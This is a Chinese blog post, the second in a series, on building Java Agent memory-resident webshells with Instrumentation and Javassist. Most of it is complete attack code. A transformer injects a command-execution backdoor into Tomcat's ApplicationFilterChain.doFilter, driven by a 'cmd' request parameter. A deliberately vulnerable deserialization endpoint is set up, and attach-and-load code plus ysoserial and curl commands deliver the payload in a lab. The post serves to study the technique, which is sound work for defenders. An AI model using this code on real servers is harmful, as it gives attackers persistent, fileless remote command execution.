Java Agent到内存马(二)

原文请关注公众号:

https://mp.weixin.qq.com/s/DwgKs1jM7g-VwNoECZg1jQ

前言

接着上一篇继续分析内存马实现原理。

Instrumentation

InstrumentationJVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

以下是这个类的一些方法:

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

也可以参考官方文档:https://docs.oracle.com/javase/9/docs/api/java/lang/instrument/package-summary.html

接下来测试一下getAllLoadedClassesisModifiableClasses两个类:

  • getAllLoadedClasses:获取所有已经加载的类。
  • isModifiableClasses:判断某个类是否能被修改。

修改AgentMain:

    public static void agentmain(String args, Instrumentation inst) throws Exception{
        Class[] classes = inst.getAllLoadedClasses();
        FileOutputStream fileOutputStream = new FileOutputStream(new File("/tmp/classesInfo"));
        for (Class aClass : classes) {
            String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
            fileOutputStream.write(result.getBytes());
        }
        fileOutputStream.close();
    }

重新attach之后,看到/tmp/classesInfo输出哪些类被加载,哪些类能被修改:

image-20220927171306466

然后我们可以通过addTransformer()retransformClasses()来篡改Class的字节码:

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    ......
}

addTransformer

这个方法中的ClassFileTransformer参数可以完成字节码修改工作。

ClassFileTransformer是一个接口,并且提供了transformer方法。

使用addTransformer方法可以注册一个我们自定义的Transformer到Java Agent,当有新的类被JVM加载时JVM会自动回调用我们自定义的Transformer类的transform方法,传入该类的transform信息(类名、类加载器、类字节码等),我们可以根据传入的类信息决定是否需要修改类字节码,修改完字节码后我们将新的类字节码返回JVM,JVM会验证类和相应的修改是否合法,如果符合类加载要求JVM会加载我们修改后的类字节码。

package java.lang.instrument;

public interface ClassFileTransformer {

  /**
   * 类文件转换方法,重写transform方法可获取到待加载的类相关信息
   *
   * @param loader              定义要转换的类加载器;如果是引导加载器,则为 null
   * @param className           类名,如:java/lang/Runtime
   * @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
   * @param protectionDomain    要定义或重定义的类的保护域
   * @param classfileBuffer     类文件格式的输入字节缓冲区(不得修改)
   * @return 字节码byte数组。
   */
  byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                          ProtectionDomain protectionDomain, byte[] classfileBuffer);

}

Javassist

简介

Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。

我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。其实还有一种和反射一样强大的特性,但是开销却很低,它就是Javassit。

与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。 如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。 整个 API 只用 Java 语言的词汇来设计。 您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。 另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。

ClassPool

ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。

ClassPool是一个存放CtClass对象的容器。

获得方法: ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

CtClass

可以把它理解成加强版的Class对象,需要从ClassPool中获得。

获得方法:CtClass cc = cp.get(ClassName)

CtMethod

同理,可以理解成加强版的Method对象。

获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)

这个类提供了一些方法,使我们可以便捷的修改方法体:

public final class CtMethod extends CtBehavior {
    // 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);

    // 插入在方法体最前面
    public void insertBefore(String src);

    // 插入在方法体最后面
    public void insertAfter(String src);

    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);

}

在输入之前使用的java agent

image-20220928150111892

使用Javassist案例

这个例子参考木头师傅

编写 AgentMain.java

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
    }
}

DefineTransformer.java

弹出计算器

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        try{
            java.lang.Runtime.getRuntime().exec("open -a Calculator");
        }
        catch(Exception e){
            System.out.println("Wrong!");
        }
        
        return classfileBuffer;
    }
}

创建 jar 文件清单 agentmain.mf

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

使用javac分别编译java文件后,打包成jar文件

jar cvfm AgentMain.jar agentmain.mf AgentMain.class DefineTransformer.class 

(在另外一个demo中,用maven打包再测试不成功,可以采用上述方式)

此时jar包编写完成后,编写测试类:

public static void main(String[] args) throws Exception{
            System.out.println("start");
            String path = "/Users/n0r4h/IdeaProjects/AgentMain.jar";
            List<VirtualMachineDescriptor> list = VirtualMachine.list();


            for (VirtualMachineDescriptor v:list){
                System.out.println(v.displayName());
                if (v.displayName().contains("test")){
                    // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                    VirtualMachine vm = VirtualMachine.attach(v.id());
                    System.out.println(v.id());
                    // 将我们的 agent.jar 发送给虚拟机
                    vm.loadAgent(path);
                    vm.detach();
                }
            }
        }

运行后调用了agent.jar:

image-20221007020459879

当然我们由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里也可以利用 URLClassloader 来加载我们的 tools.jar

public static void main(String[] args) {
    try{
        java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
        System.out.println(toolsPath.toURI().toURL());
        java.net.URL url = toolsPath.toURI().toURL();
        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
        Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
        Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
        java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
        java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

        System.out.println("Running JVM Start..");
        for(int i=0;i<list.size();i++){
            Object o = list.get(i);
            java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
            String name = (String) displayName.invoke(o,null);
            System.out.println(name);
            if (name.contains("test")){
                java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                java.lang.String id = (java.lang.String) getId.invoke(o,null);
                System.out.println("id >>> " + id);
                java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                java.lang.Object vm = attach.invoke(o,new Object[]{id});
                java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                java.lang.String path = "/Users/n0r4h/IdeaProjects/AgentMain.jar";
                loadAgent.invoke(vm,new Object[]{path});
                java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                detach.invoke(vm,null);
                break;
            }
        }
    } catch (Exception e){
        e.printStackTrace();
    }
}

image-20221007020932869

实现内存马注入

以springboot为例,首先要找到hook的方法,需满足:

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

之前学习java web时了解到filter肯定在servlet之前,所有ApplicationFilterChain#doFilter是肯定会被调用的,并且还封装了用户请求的 request 和 response,可以直接获取返回。

这边参考木头师傅案例,也搭建了一个反序列化漏洞环境,模拟在springboot环境下打入内存马

漏洞环境

搭建一个cc11反序列化环境:

package com.fxlh.demo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CCDemo {
    @ResponseBody
    @RequestMapping("/cc11")
    public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Hello,World";
    }

    @ResponseBody
    @RequestMapping("/demo")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "This is OK Demo!";
    }
}

Pom.xml

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

image-20221007221806607

编译agent.jar

AgentMain.java

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

DefineTransformer.java

这里利用 insertBefore ,将其插入到前面,从而减少对原程序的功能破坏

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;


public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

可以使用mvn assembly:assembly命令打包,也可以直接在idea中package打包

反序列化打入内存马

通过反序列化加载字节码,并加载编译好的jar包:

try{
    java.lang.String path = "/Users/n0r4h/IdeaProjects/AgentMemShell/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
    java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
    java.net.URL url = toolsPath.toURI().toURL();
    java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
    Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
    Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
    java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
    java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

    System.out.println("Running JVM list ...");
    for(int i=0;i<list.size();i++){
        Object o = list.get(i);
        java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
        java.lang.String name = (java.lang.String) displayName.invoke(o,null);
        // 列出当前有哪些 JVM 进程在运行 
        // 这里的 if 条件根据实际情况进行更改
        if (name.contains("com.xxx.demo.DemoApplication")){
            // 获取对应进程的 pid 号
            java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
            java.lang.String id = (java.lang.String) getId.invoke(o,null);
            System.out.println("id >>> " + id);
            java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            java.lang.Object vm = attach.invoke(o,new Object[]{id});
            java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            loadAgent.invoke(vm,new Object[]{path});
            java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
            detach.invoke(vm,null);
            System.out.println("Agent.jar Inject Success !!");
            break;
        }
    }
} catch (Exception e){
    e.printStackTrace();
}

此处是用的木头师傅修改后的yso:

https://github.com/KpLi0rn/ysoserial

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser
curl -v "http://127.0.0.1:8080/cc11" --data-binary "@./cc11demo.ser"

image-20221007224743941

打入成功

image-20221007224825720

思考

参考

https://xz.aliyun.com/t/9450#toc-3

http://wjlshare.com/archives/1582

posted @ 2022-10-11 18:23  N0r4h  阅读(377)  评论(0)    收藏  举报